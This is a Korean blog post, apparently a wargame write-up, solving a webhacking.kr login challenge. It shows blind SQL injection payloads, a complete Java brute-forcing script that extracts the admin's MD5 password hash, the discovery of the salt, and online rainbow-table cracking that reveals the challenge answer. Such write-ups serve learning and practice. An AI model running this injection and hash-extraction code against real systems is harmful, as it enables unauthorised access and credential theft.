이전 21번 문제와 아주 유사한 문제다.
Join을 통해
id : hevton
pw : 1234
로 회원가입을 해주고, 로그인을 해보면
이런 창이 뜬다. 32자리 16진수인걸 보니 md5 해싱값임을 유추할 수 있고, md5 형태로 비밀번호가 저장됨을 알 수 있다.
그리고 내가 입력한 비밀번호 1234를 md5 해싱 사이트에서 해싱해보면
MD5 암호화 온라인 도구 - 𝗖𝗼𝗱𝗶𝗻𝗴.𝗧𝗼𝗼𝗹𝘀
이 MD5 암호화 온라인 도구는 입력 문자열을 고정 된 128 비트 MD5 문자열로 암호화하는 데 유용합니다.
coding.tools
81dc9bdb52d04dc20036dbd8313ed055 가 나오며, 저 값과는 다르다는 것을 알 수 있다.
따라서 해싱 시에 솔트값을 넣어 해싱한다는 것을 알 수 있다. 일단 이 부분에 대해서는 여기까지만 하고,
id: hevton, pw: 1234 가 참인 상태에서, SQL 문들을 다양하게 넣어보며 쿼리를 실행해본다.
1.
hevton’ and 1=1#
123
-> wrong password
2.
hevton’ and 1=2#
123
-> login fail
3.
hevton’ and 1=1#
1234
-> 로그인됌
4.
hevton
1234
-> 로그인됌
5.
hevton
1213
-> login fail
위 결과를 토대로
쿼리문 참일 때 wrong password, 쿼리문 거짓일때 login fail.
쿼리문 참이면서 pw로 입력한 값이 비밀번호 값일 때 -> 로그인 되는 방식임을 알 수 있다.
즉, 아마 이전문제도 그렇고 쿼리문이 참이여도 pw값을 따로 검사하는듯 하다.
일단 확인차, 비밀번호가 데이터베이스에 md5 해싱상태로 저장되어있는지 확인해보자.
hevton' and length(pw)=32#
1234
-> 로그인됌
따라서 비밀번호가 md5해싱되어 저장되어있는것은 확실히 알 수 있다.
그럼 admin의 md5 해싱값을 알아보자. 여기서 여태까지 문제와는 조금 다른 점은,
데이터 전달 방식이 get 방식이 아닌 post 방식이기 떄문에 데이터가 어떻게 전달되는지 육안으로 확인해볼 수 없어서
BurpSuite를 활용하여 데이터 전달 방식을 확인했고, 아래 방식을 자바로 프로그래밍 해서 돌렸다.
방식>
admin의 비밀번호가 1234가 아니니
admin' and ascii(substr(pw, 1, 1))=65#
1234
가 wrong password가 나올 떄 까지 돌려보면댐.
코드>
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
public class httppost {
public static void main(String args[]) throws Exception{
for(int i =1; i < 33; i ++) {
for (int j = 48; j < 123; j++) {
URL url = new URL("https://webhacking.kr/challenge/bonus-2/index.php");
HttpURLConnection hc = (HttpURLConnection) url.openConnection();
hc.addRequestProperty("Cookie", "PHPSESSID=본인세션");
hc.addRequestProperty("Content-Type", "application/x-www-form-urlencoded");
hc.setRequestMethod("POST");
hc.setDoInput(true);
hc.setDoOutput(true);
String param = "uuid=admin%27+and+ascii%28substr%28pw%2C+"+i+"%2C+1%29%29%3D"+j+"%23&pw=1234";
OutputStream opstraem = hc.getOutputStream();
opstraem.write(param.getBytes());
opstraem.flush();
opstraem.close();
StringBuilder sb = new StringBuilder();
BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
String s;
while ((s = br.readLine()) != null)
sb.append(s);
if (sb.indexOf("Wrong password!") != -1) {
System.out.print(String.format("%c", j));
}
}
}
}
}
그럼 해시값으로 6c9ca386a903921d7fa230ffa0ffc153 가 나온다. 이것이 테이블에 저장되어 있는 admin의 비밀번호 md5값이다.
이제, 레인보우 테이블 기반의 해독기능을 가진 사이트들을 선택하여 이 값을 넣어보면 문제가 풀린다.
사이트 마다 가진 테이블이 다르다 보니 여기저기 해보는 것이 좋긴 할 것이다.
일단 위에서 언급했듯 해당 해싱 도중 salt값의 첨가가 있다는 것을 알았으니, salt값을 우선 알아내보자.
회원가입 시에, 비밀번호가 없는 계정으로 회원가입을 해 봤고, 로그인했을 때
1f3870be274f6c49b3e31a0c6728957f 해시값을 얻었다.
그리고 이 값을 아래 사이트에서 크랙해봤다.
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack
crackstation.net
apple이라는 값이 나온다. 이 값이 salt 값인 것이다.
그리고 1234apple을 md5했을 때, 문제에서 주어지는 내 md5값과 동일함을 알 수 있었다.
즉, $salt . $pw 식으로 salt값을 넣어서 md5 해싱하는 것이다.(php의 문자열 덧셈 문법임)
그리고 salt값을 넣을 수 있는 md5 레인보우테이블 사이트에서 해독을 시도했다.
MD5 (+Salt) Decrypter - Password Hash Cipher - Decoder, Encoder
Tool to decrypt/encrypt MD5 automatically. MD5 hash of a data is a footprint of 32 characters which can identify the initial data. Hash functions are used in computers and cryptography.
www.dcode.fr
그랬더니 결과로 wow가 나왔다. 이 값이 admin의 비밀번호 인 것이다.
이 문제는 해싱 도중 salt값의 첨가가 있다는 사실을 인지하는 것이 매우 중요하다.
▶︎참고
또다른 레인보우 테이블 기반 사이트 ( 위의 두 사이트보다 레인보우 테이블 성능이 더 좋은듯 싶다 )
https://hashes.com/en/decrypt/hash
Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512, Wordpress, Bcrypt hashes for free online
Hashes.com is a hash lookup service. This allows you to input an MD5, SHA-1, Vbulletin, Invision Power Board, MyBB, Bcrypt, Wordpress, SHA-256, SHA-512, MYSQL5 etc hash and search for its corresponding plaintext ("found") in our database of already-cracked
hashes.com
'[웹해킹]' 카테고리의 다른 글
[Webhacking.kr] 만점 돌파! (0) | 2020.10.24 |
---|---|
Blind SQL injection 중요 몇가지 정리 (0) | 2020.09.20 |
[Mac OS/Proxy] 프록시 툴 Burp Suite 설치 방법 (0) | 2020.09.04 |
해시(Hash)와 암호화(Encryption) (0) | 2020.08.31 |